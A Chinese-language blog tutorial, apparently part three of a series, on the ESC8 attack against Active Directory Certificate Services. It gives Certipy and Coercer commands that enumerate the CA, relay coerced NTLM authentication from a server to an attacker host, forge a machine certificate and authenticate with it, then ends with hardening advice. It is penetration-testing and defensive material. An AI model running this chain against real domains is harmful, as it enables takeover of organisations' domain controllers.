滥用Active Directory证书服务(第三部分) - 中继攻击与证书伪造实战

本文详细演示如何通过Web Enrollment功能实施NTLM中继攻击,利用Certipy工具伪造机器账户证书,最终获取域控权限的完整攻击链,涵盖ESC8漏洞利用、PetitPotam攻击变种及防御建议。

滥用Active Directory证书服务(第三部分)

第一部分第二部分中,我们探讨了Active Directory证书模板的常见错误配置。本文将重点分析Web Enrollment功能的攻击利用。

ADCS HTTP端点中继攻击

Active Directory证书服务(ADCS)支持基于HTTP的证书注册方法。当启用时,这些HTTP接口可能遭受NTLM中继攻击。攻击者诱导受害者账户向受控主机认证后,可将凭据中继到证书颁发机构(CA)来代表受害者申请证书。

某些情况下甚至不需要域凭据。例如利用CVE-2021-36942漏洞,攻击者可通过LSARPC接口的OpenEncryptedFileRaw API方法诱导目标主机进行认证。

ESC8攻击实例

假设我们已初步入侵FOOBAR公司内网,并获取用户"billy"的凭据。通过Certipy工具枚举"foobar.com"域的ADCS配置:

1
2
3
4
5
certipy find \
  -u 'billy@foobar.com' \
  -p <PASSWORD> \
  -dc-ip <DC_IP> \
  -enabled

当CA服务器满足以下条件即存在ESC8漏洞:

  • Web Enrollment功能启用

攻击步骤分解

  1. 设置中继服务
1
2
3
certipy relay \
  -ca foobar-CA.foobar.com \
  -template 'DomainComputers'
  1. 诱导目标机器认证: 使用Coercer工具触发server01.foobar.com向攻击主机(10.10.1.100)认证:
1
2
3
4
5
6
coercer coerce \
  -t server01.foobar.com \
  -I 10.10.1.100 \
  -u 'billy@foobar.com' \
  -p <PASSWORD> \
  -d foobar.com
  1. 伪造证书并获取凭据
1
certipy auth -pfx server01.pfx

防御建议

  • 禁用非必要的ADCS HTTP端点
  • 尽可能禁用NTLM认证
  • 强制启用HTTPS并配置身份验证扩展保护
  • 启用SMB/LDAP签名要求
  • 强制实施LDAP通道绑定

技术资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计